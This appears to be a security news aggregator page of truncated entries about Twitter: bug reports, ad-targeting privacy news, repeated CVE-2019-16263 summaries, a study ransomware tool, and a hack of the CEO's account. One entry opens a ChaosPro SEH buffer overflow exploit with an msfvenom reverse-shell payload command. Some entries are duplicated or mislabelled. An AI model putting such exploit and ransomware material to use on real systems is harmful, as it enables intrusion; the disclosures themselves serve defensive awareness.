X (Formerly Twitter): Creating malformed URLs via new line character in-between two URLs leads to misrepresented hyperlinks in Tweets/DMs

Summary When composing a tweet or a direct message it is possible to use a new line character %0d to seperate two URLs within the actual hyperlinking process, but not the URL displaying process. The new line character acts as an invisible character that disrupts the actual hyperlinking process,...

X (Formerly Twitter): [Bypass fixed #664038 and #519059] Application settings change settings that have been set by the user

I have reported this bug in report 681361 so that you make a FULL fix, but you refused considered duplicate and I have to wait for report 664038 to be resolved, now I come again to report the bug. The settings for "protected tweets" that have been set from another application accidentally change...

Twitter Puts Profit Ahead of User Privacy—Just Like Facebook Did Before

Twitter funneled two-factor authentication phone numbers into their ad targeting platform—but they weren't the only ones...

Twitter Uses Phone Numbers, Emails to Sell Ads

Twitter has acknowledged that user phone numbers and email addresses gathered for security purposes, as part of its two-factor authentication policy, may have been used to sell ads. It calls the move an accident. The revelation is being widely criticized for its obvious breach of user privacy,...

You Gave Your Phone Number to Twitter for Security and Twitter Used it for Ads

After exposing private tweets, plaintext passwords, and personal information for hundreds of thousands of its users, here is a new security blunder social networking company Twitter admitted today. Twitter announced that the phone numbers and email addresses of some users provided for two-factor...

You Gave Your Phone Number to Twitter for Security and Twitter Used it for Ads

After exposing private tweets, plaintext passwords, and personal information for hundreds of thousands of its users, here is a new security blunder social networking company Twitter admitted today. Twitter announced that the phone numbers and email addresses of some users provided for two-factor...

Vulnerable Twitter API Leaves Tens of Thousands of iOS Apps Open to Attacks

Researchers are warning that an old Twitter API still used by popular iOS mobile apps that could be abused as part of a man-in-the-middle attack. It could be used to hijack Twitter accounts and compromise other third-party apps that are linked to the same “login with Twitter” feature. According t...

CVE-2019-16263

The Twitter Kit framework through 3.4.2 for iOS does not properly validate the api.twitter.com SSL certificate. Although the certificate chain must contain one of a set of pinned certificates, there are certain implementation errors such as a lack of hostname verification. NOTE: this is an...

CVE-2019-16263

The Twitter Kit framework through 3.4.2 for iOS does not properly validate the api.twitter.com SSL certificate. Although the certificate chain must contain one of a set of pinned certificates, there are certain implementation errors such as a lack of hostname verification. NOTE: this is an...

Code injection

The Twitter Kit framework through 3.4.2 for iOS does not properly validate the api.twitter.com SSL certificate. Although the certificate chain must contain one of a set of pinned certificates, there are certain implementation errors such as a lack of hostname verification. NOTE: this is an...

CVE-2019-16263

The Twitter Kit framework through 3.4.2 for iOS does not properly validate the api.twitter.com SSL certificate. Although the certificate chain must contain one of a set of pinned certificates, there are certain implementation errors such as a lack of hostname verification. NOTE: this is an...

CVE-2019-16263

The CVE-2019-16263 issue affects the Twitter Kit framework for iOS up to version 3.4.2. The root cause is improper validation of the api.twitter.com SSL certificate, including a lack of hostname verification despite a pinned-certificate approach. This can enable man-in-the-middle attacks on apps ...

Tracking by Smart TVs

Long Twitter thread about the tracking embedded in modern digital televisions. The thread references three academic papers...

SQLMap v1.3.10 - Automatic SQL Injection And Database Takeover Tool

SQLMap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lastin...

CryptonDie - A Ransomware Developed For Study Purposes

CryptonDie is a ransomware developed for study purposes. Options --key key used to encrypt and decrypt files, default is random stringrecommended --dir Home directory for the attack, default is / --encrypt Encrypt all files --decrypt Decrypt all files --verbose Active verbose mode, default is Fal...

Cross site request forgery (csrf)

The wp-social-bookmarking-light plugin before 1.7.10 for WordPress has CSRF with resultant XSS via configuration parameters for Tumblr, Twitter, Facebook, etc. in wp-admin/options-general.php?page=wp-social-bookmarking-light%2Fmodules%2Fadmin.php...

Twitter temporarily disables 'Tweeting via SMS' after CEO gets hacked

Twitter today finally decided to temporarily disable a feature, called 'Tweeting via SMS,' after it was abused by a hacking group to compromise Twitter CEO Jack Dorsey last week and sent a series of racist and offensive tweets to Dorsey's followers. Dorsey's Twitter account was compromised last...

Twitter temporarily disables 'Tweeting via SMS' after CEO gets hacked

Twitter today finally decided to temporarily disable a feature, called 'Tweeting via SMS,' after it was abused by a hacking group to compromise Twitter CEO Jack Dorsey last week and sent a series of racist and offensive tweets to Dorsey's followers. Dorsey's Twitter account was compromised last...

ChaosPro 2.1 - SEH Buffer Overflow

ChaosPro 2.1 - SEH Buffer Overflow !C:\Python27\python.exe Title : ChaosPro 2.1 Twitter : @securitychops Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html our egg! payload = "T00WT00W" the payload payload += msfvenom -p windows/shellreversetcp...

Twitter CEO Jack Dorsey’s account hacked with racial slurs

By Waqas A group of hackers going by the handle of "Chuckle Squad" hacked the official Twitter account of Twitter CEO Jack Dorsey on Friday afternoon. This is a post from HackRead.com Read the original post: Twitter CEO Jack Dorsey’s account hacked with racial slurs...